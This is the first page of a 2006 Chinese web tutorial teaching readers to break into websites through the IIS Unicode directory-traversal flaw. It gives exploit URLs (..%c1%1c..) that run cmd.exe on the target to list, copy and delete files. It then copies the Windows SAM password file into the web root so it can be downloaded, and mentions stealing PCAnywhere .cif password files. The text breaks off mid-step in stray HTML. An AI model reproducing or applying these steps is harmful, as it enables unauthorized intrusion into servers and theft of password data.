| 一步一步教您用unicode漏洞入侵网站(图文) |
|
| 作者：未知 文章来源：网络收集 点击数： 更新时间：2006-3-29 15:18:45
|
首先要说明的是unicode漏洞是什么？这个漏洞是俺们的高手袁哥发现的，袁哥是谁？袁华！袁华又是谁？晕~~~！！！
这个漏洞分四种，每一种针对不同语系的系统。分为：%c1%1c、%c0%cf、%c1%pc、%c0%9v。例如第一个 %c1%1c 的问题。c1 1c，中文简体里面没有这种字，照正常的情况根据内码转换文件\winnt\system32\c_936.nls会编码成“？”。但对中文简体版IIS中 c1 1c解码成了（c1-c0)*40+1c=5c=“\”。此编码发生在IIS检测处理路径串中的“..\”之后，所以可以突破IIS路径访问到上级目录。此漏洞从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1，好像台湾繁体中文也受此漏洞影响。美国很多主机上也有这个漏洞，大都分是最后一种%c0%9v。好好利用吧，一步一步跟我来！
一、程序的实现
如果您对一个一个键打入命令不感兴趣的话，您可以直接看第二部分的工具篇，但我建议您还是看一看，使用工具也要用到一些命令的，我尽可能讲得通俗易懂一点。
假设你已经扫描到某台主机xxx.xxx.xxx.xxx有unicode漏洞（至于用什么工具扫描，工具篇中会讲到）打开你的浏览器，键入：
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
+在这里的意思是空格，也就是说这个命令在本机DOS下是：dir c:（列出远程主机C:\下的所有文件）
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\autoexec.bat+c:\autoexec.bak
这个命令在本机DOS下是：copy c:\autoexec.bat c:\autoexec.bak（也就是复制远程主机C盘下的autoexec.bat并改名为autoexec.bak）
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\autoexec.bak
这个命令在本机DOS下是： del c:\autoexec.bak（也就是删除远程主机C盘下的autoexec.bak）
接下来的工作就是要把这台服务器NT的密码文件拷贝到网站目录下，为什么要拷贝到网站目录下呢？你有权限下载啊，笨~~~！！！
这又分两种情况，一种是直接用NT管理的机器，它的密码文件是sam._，另一种是用赛门铁克的远程管理软件PCAnyWhere进行远程管理，它的密码文件是*.cif，其实两种密码文件取得的方式都相同，只是得到密码后控制的方式不同罢了。
需要知道网站目录，可以通过ida、idq漏洞进行得到，也可以去寻找网站中的一个图片文件，比如Tscontent.gif文件，然后去查找该文件：使用命令 dir c:\ Tscontent.gif /s，知道目录后，比如为c:\inetpub\wwwroot\，接下来
1、sam._的文件的取得
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\repair\sam._+c:\inetpub\wwwroot\
看懂了吗？把c:\winnt\repair下的sam._复制到c:\inetpub\wwwroot\
接下来 screen.width-600)this.style.width=screen.width-600;">_blank href=http://xxx.xxx.xxx.xxx/sam._>[1] [2] [3] [4] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入：kinda 责任编辑：kinda |
|
上一篇文章： IE代码可以格式化本地硬盘
下一篇文章： 我破解了redlof的代码，附：破解思路 |
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
用户登录 
新用户注册 
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）